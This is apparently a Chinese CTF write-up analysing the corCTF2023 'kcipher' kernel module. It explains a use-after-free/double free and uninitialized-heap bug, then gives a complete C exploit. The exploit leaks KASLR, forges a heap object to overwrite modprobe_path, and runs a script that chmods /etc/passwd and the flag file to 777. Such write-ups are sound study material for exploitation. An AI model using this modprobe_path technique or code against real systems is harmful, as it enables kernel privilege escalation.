corCTF2023 -- kcipher

前言

本次仅仅是通过 modprobe_pathflag,但是 modprobe_path 是可以提权的(:只需要把 /etc/passwd 的权限修改为 777 即可

这里存在 kmalloc-96 大小的 UAF/Double free 所以其实利用方式挺多的~~~但是这里就不深究了

题目分析

  • 内核版本 6.5.0-rc1,但是没有开启 cg 隔离
  • kalsr 开启,没有开启 smap/smep,这可能使得利用变得简单
  • slub 分配器,没有开启 CONFIG_SLAB_FREELIST_HARDENEDCONFIG_SLAB_FREELIST_RANDOM,这使得堆风水更容易

这里仅仅说一些对漏洞利用有用的函数

device_ioctl 会创建一个匿名 fd,并分配一个大小为 96 字节的堆块作为该 fdprivate_data 域:

__int64 __fastcall device_ioctl(__int64 a1, int cmd, __int64 arg3)
{
  struct node *private_data; // rax
  struct node *pprivate_data; // rbx
  int fd; // r13d
  __int64 res; // r12
  __int64 enc_idx; // rax

  if ( cmd != 0xEDBEEF00 )
    return -22LL;
  private_data = kmalloc_trace(kmalloc_caches[1], 0x400DC0LL, 96LL);
  pprivate_data = private_data;
  if ( !private_data )
    return -12LL;
  private_data->lock = 0;
  fd = anon_inode_getfd("kcipher-buf", &kcipher_cipher_fops, private_data, 2LL);
  if ( fd >= 0 )
  {
    res = copy_from_user(pprivate_data, arg3, 8LL);
    if ( !res ) // <=== 【1】
    {
      enc_idx = pprivate_data->enc_idx;
      if ( enc_idx <= 3 ) // <=== 【2】
      {
        strncpy(pprivate_data->func_name, ciphers[enc_idx], 64uLL);
        return fd;
      }
      res = -22LL;
    }
    kfree(pprivate_data); // UAF??? 这里将 private_data 释放了,但是 file 结构体中仍然保存着其引用
    return res;	// 这里虽然没有返回 fd,但是可以根据打开的文件数量进行猜测
  }
  kfree(pprivate_data);
  return fd;
}

但是这里存在一个问题:当 【1】【2】 处执行失败时,会释放掉 private_data,但是并没有把 file->private_data 置空,所以如果在其他地方使用到了 file->private_data 则会导致 UAF,其中 private_data 维护的数据结构如下:

00000000 node struc ; (sizeof=0x60, mappedto_3)
00000000 enc_idx dd ?
00000004 key db ?
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 data_len dq ?
00000010 data dq ?
00000018 lock dd ?
0000001C func_name db 68 dup(?)
00000060 node ends

对于 kcipher-buf 其对应的函数操作有 cipher_readcipher_writecipher_release;先来看看 cipher_write 函数:

__int64 __fastcall cipher_write(__int64 a1, __int64 ubuf, unsigned __int64 len)
{
  struct node *private_data; // r15
  __int64 v5; // rax
  __int64 data; // rdi
  __int64 v7; // r13
  __int64 kptr; // rax
  __int64 v9; // rbx

  private_data = *(a1 + 192);
  if ( len > 0x1000 )
    return -12LL;
  v5 = raw_spin_lock_irqsave(&private_data->lock);
  data = private_data->data;
  v7 = v5;
  if ( data )
  {
    kfree(data);
    private_data->data = 0LL;
  }
  kptr = _kmalloc(len, 0xCC0LL);                // GFP_KERNEL
  private_data->data = kptr;
  if ( !kptr )
  {
    raw_spin_unlock_irqrestore(&private_data->lock, v7);
    return -12LL;
  }
  private_data->data_len = len;
  v9 = strncpy_from_user(kptr, ubuf, len);      // 不能复制 \x00
  raw_spin_unlock_irqrestore(&private_data->lock, v7);
  return v9;
}

cipher_write 主要就是为 file->private_data.data 分配空间,然后写入内容。并且这里每次都会先释放原来的 data,在分配新的 data,分配方式为 GFP_KERNEL,该分配标志不会初始化堆块的内容,而后面复制内容使用的是 strncpy_from_user,其存在 \x00 截断,所以这里 data 上可能残留一些有用的内容

在来看看 cipher_read 函数:

__int64 __fastcall cipher_read(__int64 a1, __int64 ubuf, unsigned __int64 len)
{
  struct node *v3; // r15
  __int64 v5; // rax
  __int64 v6; // r12
  __int64 v7; // rbx

  v3 = *(a1 + 192);
  v5 = raw_spin_lock_irqsave(&v3->lock);
  v6 = v5;
  if ( v3->data )
  {
    do_encode(v3);                              // 这里可以修改 private_data->data 的内容
    if ( len > v3->data_len )
      len = v3->data_len;
    if ( len > 0x7FFFFFFF )
      BUG();
    v7 = len - copy_to_user(ubuf, v3->data, len); // 复制加密后的内容到用户空间
    raw_spin_unlock_irqrestore(&v3->lock, v6);
  }
  else
  {
    v7 = -2LL;
    raw_spin_unlock_irqrestore(&v3->lock, v5);
  }
  return v7;
}

cipher_read 就是读取 file->private_data.data 的内容,但是在读取前会对内容进行加密,这里的加密方式有:

char *ciphers[]
0	rot
1	xor
2	a1z26
3	atbash

而具体是那种加密是根据 file->private_data.idx 决定的,然后这里是逐字节加密,加密的 keyfile->private_data.key,具体的加密逻辑在 do_encode 函数中,这里就简单看看 rot/xor 的逻辑吧:

......
  if ( enc_idx )
  {
    for ( i = 0LL; i < private_data->data_len; ++i )
      data[i] ^= private_data->key;
  }
  else
  {
    for ( j = 0LL; j < private_data->data_len; ++j )
      data[j] += private_data->key;
  }
......

可以看到就是简单的 +/^

最后来看看 cipher_release 函数:

__int64 __fastcall cipher_release(__int64 a1, __int64 a2)
{
  struct node *private_data; // rbx
  __int64 data; // rdi

  private_data = *(a2 + 192);
  data = private_data->data;
  if ( data )
    kfree(data);
  kfree(private_data);
  return 0LL;
}

可以看到这里会释放 dataprivate_data,配合之前 device_ioctl 中的问题,这里是可能导致 Double free

总的来说,目前我们有如下漏洞原语:

  • kmalloc-96 大小的 UAF/Double Free
  • 堆块未初始化

漏洞利用

题目虽然没有 smap/smep,但是开启了 kaslr,所以第一步就是去泄漏相关地址,这里泄漏相关地址主要是利用堆块未初始化漏洞:

  • 先堆喷大量 seq_operations [kmalloc-32|GFP_KERNEL_ACCOUNT],然后将其全部释放
    • 此时释放的堆块上残留了相关内核地址
  • 然后 cipher_writedata 分配一个 kmalloc-32 大小的堆块,这里使用 \x00 截断防止堆块其初始化
    • 这时 data 上可能残留着内核地址
  • 然后 cipher_read 读取 data 的内容,此时大概率可泄漏内核地址

然后去构造堆块重叠,使得某个 fileprivate_data 与另一个 fileprivate_data.data 重合,具体利用方式如下:

  • 正常分配一个 fd1,其对应的相关结构为:private_data1 [kmalloc-96 chunk1]
  • "不正常"分配一个 fd2,其对应的相关结构为:private_data2 [kmalloc-96 UAF chunk2]
  • fd1 分配一个 data1 [kmalloc-96],此时会拿到 chunk2
    • fd1data1fd2private_data2 重合
    • 此时就可以通过 data1 去伪造 private_data2 结构,其中可以伪造 data2modprobe_path,然后在 cipher_read 时就会修改 modprobe_path 的数据

注意点:这里通过 data1 去伪造 private_data2 要通过两步:

  • 因为 cipher_writedata1 存在 \x00 截断,所以这里我们无法伪造一个合法的 private_data2
  • 但是 cipher_readdata2 时,会对 data2 的数据进行加密,所以我们可以在这里使得伪造的 private_data2 合法

比如如果我们想往 data1 中写入 \x00,我们则可以先写入 \xff,这时就可以避免 \x00 截断,然后在 cipher_read 中对数据 \x00 进行异或加密 \xff ^ \xff = \x00,这时我们就成功写入了 \x00

最后的 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(2);
    exit(EXIT_FAILURE);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /root/flag.txt\n/bin/chmod 777 /etc/passwd' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /root/flag.txt");
        exit(0);
}

struct header {
        uint32_t idx;
        uint32_t key;
};

void dec(char* buf, int8_t key, int len) {
        for (int i = 0; i < len; i++) {
                buf[i] -= key;
        }
}

struct node {
        uint32_t idx;
        uint32_t key;
        uint64_t len;
        uint64_t data;
        uint32_t lock;
        char name[68];
};

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        int fd, cfd;
        #define SQE_NUMS 0x30
        uint64_t kbase = 0;
        uint64_t koffset = 0;
        int seq_fd[SQE_NUMS];
        char buf[0x1000] = { 0 };
        uint64_t modprobe_path = 0xffffffff818a83a0;
        struct node* node = (struct node*)buf;
        struct header h = { .idx = 0, .key = 2 };

        fd = open("/dev/kcipher", O_RDONLY);
        if (fd < 0) err_exit("open /dev/kcipher");

        cfd = ioctl(fd, 0xEDBEEF00, &h);
        if (cfd <= 0) err_exit("create kcipher-buf");
        printf("[+] cfd: %d\n", cfd);

        for (int i = 0; i < SQE_NUMS; i++) {
                seq_fd[i] = open("/proc/self/stat", O_RDONLY);
                if (seq_fd[i] < 0) err_exit("open /proc/self/stat");
        }

        for (int i = 0; i < SQE_NUMS; i++) {
                close(seq_fd[SQE_NUMS-i-1]);
        }

        memset(buf, 0, sizeof(buf));
        write(cfd, buf, 0x20);
        read(cfd, buf, 0x20);
        binary_dump("LEAK DATA", buf, 0x20);
        kbase = *(uint64_t*)(buf+8) & 0xffffffff;
        if ((kbase&0xfff) != 0xa72) err_exit("Leak kbase");
        kbase += 0xffffffff81000000ULL - 0x8317ba72ULL;
        koffset = kbase - 0xffffffff81000000ULL;
        modprobe_path += koffset;
        printf("[+] kbase: %#llx\n", kbase);
        printf("[+] koffset: %#llx\n", koffset);
        printf("[+] modprobe_path: %#llx\n", modprobe_path);

        ioctl(fd, 0xEDBEEF00, 0xbeefdead);
/*
        // just test
        memset(buf, 0, sizeof(buf));
        node->idx = 1;
        node->key = 1;
        node->len = 1;
        node->data = modprobe_path;
        node->lock = 0;
        dec(buf, h.key, 0x60);
        binary_dump("ENC DATA", buf, 0x60);
        write(cfd, buf, 0x60);
        memset(buf, 0, sizeof(buf));
        read(cfd, buf, 0x60);
        binary_dump("DEC DATA", buf, 0x60);
*/
        char m[] = "/sbin/modprobe";
        char n[] = "/tmp/x\x00";
        for (int i = 0; i < sizeof(n); i++) {
                memset(buf, 0, sizeof(buf));
                node->idx = 1;
                node->key = m[i] ^ n[i];
                node->len = 1;
                node->data = modprobe_path + i;
                node->lock = 0;
                dec(buf, h.key, 0x60);
                write(cfd, buf, 0x60);
                read(cfd, buf, 0x60);
        //      binary_dump("DEC DATA", buf, 0x60);
                read(5, buf, 1);
        }

        get_flag();
//      getchar();

        return 0;
}

效果如下:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值